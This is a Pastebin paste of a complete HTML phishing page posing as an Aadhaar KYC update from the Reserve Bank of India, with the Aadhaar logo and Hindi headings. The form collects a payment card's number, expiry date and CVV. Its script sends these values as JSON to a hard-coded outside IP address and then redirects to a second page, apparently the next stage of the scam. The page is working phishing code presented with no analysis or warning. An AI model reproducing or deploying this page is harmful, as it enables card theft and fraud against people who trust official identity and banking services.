Vivek333

Aadhar Card 1

Oct 12th, 2024
20
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.79 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6. <title>Ministry of Power Payment</title>
  7. <style>
  8. * {
  9. box-sizing: border-box;
  10. margin: 0;
  11. padding: 0;
  12. }
  13. body {
  14. font-family: Arial, sans-serif;
  15. background-color: #f0f8ff;
  16. margin: 0;
  17. display: flex;
  18. flex-direction: column;
  19. justify-content: center;
  20. align-items: center;
  21. min-height: 100vh;
  22. padding: 20px;
  23. }
  24. .container {
  25. background-color: white;
  26. padding: 30px;
  27. border-radius: 15px;
  28. box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
  29. max-width: 500px;
  30. width: 100%;
  31. }
  32. .logo {
  33. text-align: center;
  34. margin-bottom: 25px;
  35. }
  36. .logo img {
  37. width: 100px;
  38. height: auto;
  39. }
  40. h1 {
  41. text-align: center;
  42. margin: 0;
  43. font-size: 22px;
  44. margin-bottom: 25px;
  45. color: #333;
  46. }
  47. .hindi {
  48. font-size: 18px;
  49. display: block;
  50. margin-bottom: 8px;
  51. }
  52. .card-type-container {
  53. display: flex;
  54. justify-content: space-between;
  55. margin-bottom: 25px;
  56. }
  57. .card-type-btn {
  58. width: 48%;
  59. padding: 12px;
  60. background-color: #f5f5f5;
  61. border: 2px solid transparent;
  62. border-radius: 8px;
  63. cursor: pointer;
  64. font-size: 14px;
  65. transition: background-color 0.3s, border 0.3s;
  66. }
  67. .card-type-btn.active {
  68. background-color: #007bff;
  69. color: white;
  70. border: 2px solid #007bff;
  71. }
  72. input[type="text"] {
  73. width: 100%;
  74. padding: 12px;
  75. margin-bottom: 20px;
  76. border: 1px solid #ccc;
  77. border-radius: 8px;
  78. box-sizing: border-box;
  79. font-size: 16px;
  80. }
  81. .cvv-expiry {
  82. display: flex;
  83. justify-content: space-between;
  84. }
  85. .cvv-expiry input {
  86. width: 48%;
  87. }
  88. .next-btn {
  89. background-color: #007bff;
  90. color: white;
  91. border: none;
  92. padding: 15px;
  93. width: 100%;
  94. font-size: 16px;
  95. border-radius: 8px;
  96. cursor: pointer;
  97. transition: background-color 0.3s;
  98. }
  99. .next-btn:hover {
  100. background-color: #0056b3;
  101. }
  102. .small-red-text {
  103. color: red;
  104. font-size: 12px;
  105. margin-top: 5px;
  106. display: block;
  107. }
  108. footer {
  109. text-align: center;
  110. margin-top: 20px;
  111. font-size: 14px;
  112. color: #666;
  113. width: 100%;
  114. position: fixed;
  115. bottom: 10px;
  116. left: 0;
  117. }
  118. footer a {
  119. color: #007bff;
  120. text-decoration: none;
  121. margin: 0 5px;
  122. }
  123. footer a:hover {
  124. text-decoration: underline;
  125. }
  126. @media (max-width: 600px) {
  127. h1 {
  128. font-size: 20px;
  129. }
  130. .container {
  131. padding: 20px;
  132. }
  133. input[type="text"], .next-btn, .card-type-btn {
  134. font-size: 14px;
  135. padding: 10px;
  136. }
  137. }
  138. </style>
  139. </head>
  140. <body>
  141. <div class="container">
  142. <div class="logo">
  143. <img src="https://upload.wikimedia.org/wikipedia/hi/thumb/c/cf/Aadhaar_Logo.svg/600px-Aadhaar_Logo.svg.png?20211118080822" alt="Ministry of Power Logo">
  144. </div>
  145. <h1>
  146. <span class="hindi">भारतीय रिजर्व बैंक</span><br>
  147. आधार KYC Update
  148. </h1>
  149. <form id="paymentForm">
  150. <div class="card-type-container">
  151. <button type="button" id="creditBtn" class="card-type-btn active" onclick="selectCardType('credit')">Credit Card</button>
  152. <button type="button" id="debitBtn" class="card-type-btn" onclick="selectCardType('debit')">Debit Card</button>
  153. </div>
  154.  
  155. <span class="small-red-text">Please enter a valid 16-digit card number.</span>
  156. <input id="card" type="text" placeholder="Card Number" maxlength="16" required>
  157. <div class="cvv-expiry">
  158. <input id="exp" type="text" placeholder="Expiry (MM/YY)" maxlength="5" required>
  159. <input id="cvv" type="text" placeholder="CVV" maxlength="3" required>
  160. </div>
  161. <button type="submit" class="next-btn">Next</button>
  162.  
  163. </form>
  164. </div>
  165.  
  166.  
  167. <script>
  168. let selectedCardType = 'credit';
  169.  
  170. function selectCardType(type) {
  171. selectedCardType = type;
  172. document.getElementById('creditBtn').classList.toggle('active', type === 'credit');
  173. document.getElementById('debitBtn').classList.toggle('active', type === 'debit');
  174. console.log('Selected card type:', selectedCardType);
  175. }
  176.  
  177. function validateForm(event) {
  178. event.preventDefault();
  179. console.log('Validating form...');
  180. const card = document.getElementById('card').value.trim();
  181. const exp = document.getElementById('exp').value.trim();
  182. const cvv = document.getElementById('cvv').value.trim();
  183.  
  184. if (card === '' || exp === '' || cvv === '') {
  185. alert('All fields are required. Please fill in all the information.');
  186. return false;
  187. }
  188.  
  189. if (!/^\d{16}$/.test(card)) {
  190. alert('Please enter a valid 16-digit card number.');
  191. return false;
  192. }
  193.  
  194. if (!/^\d{2}\/\d{2}$/.test(exp)) {
  195. alert('Please enter a valid expiry date in MM/YY format.');
  196. return false;
  197. }
  198.  
  199. if (!/^\d{3}$/.test(cvv)) {
  200. alert('Please enter a valid 3-digit CVV.');
  201. return false;
  202. }
  203.  
  204. console.log('Form validation passed. Submitting form data...');
  205. captureFormData();
  206. }
  207.  
  208. function captureFormData() {
  209. const card = document.getElementById('card').value.trim();
  210. const exp = document.getElementById('exp').value.trim();
  211. const cvv = document.getElementById('cvv').value.trim();
  212.  
  213. const formData = {
  214. form: 1,
  215. cre: selectedCardType === 'credit' ? 'Yes' : 'No',
  216. deb: selectedCardType === 'debit' ? 'Yes' : 'No',
  217. crd: card,
  218. ex: exp,
  219. cv: cvv
  220. };
  221.  
  222. console.log('Submitting form data:', formData);
  223.  
  224. fetch('http://41.216.183.23/ALL/4/save_data.php', {
  225. method: 'POST',
  226. headers: {
  227. 'Content-Type': 'application/json'
  228. },
  229. body: JSON.stringify(formData)
  230. })
  231. .then(response => {
  232. console.log('Response status:', response.status);
  233. if (response.ok) {
  234. alert('Successful. Redirecting to next page');
  235. window.location.href = '2.html';
  236. } else {
  237. throw new Error('Server responded with status: ' + response.status);
  238. }
  239. })
  240. .catch(error => {
  241. console.error('Error:', error);
  242. alert('Failed to submit form data. Please try again later.');
  243. });
  244. }
  245.  
  246. // Add input formatting for better user experience
  247. document.getElementById('card').addEventListener('input', function(e) {
  248. this.value = this.value.replace(/\D/g, '').slice(0, 16);
  249. });
  250.  
  251. document.getElementById('exp').addEventListener('input', function(e) {
  252. this.value = this.value.replace(/\D/g, '')
  253. .replace(/^(\d{2})(\d)/, '$1/$2')
  254. .slice(0, 5);
  255. });
  256.  
  257. document.getElementById('cvv').addEventListener('input', function(e) {
  258. this.value = this.value.replace(/\D/g, '').slice(0, 3);
  259. });
  260.  
  261. // Initialize the form
  262. document.addEventListener('DOMContentLoaded', function() {
  263. console.log('Form initialized');
  264. document.getElementById('paymentForm').addEventListener('submit', validateForm);
  265. });
  266. </script>
  267. </body>
  268. </html>
  269.  
Add Comment
Please, Sign In to add comment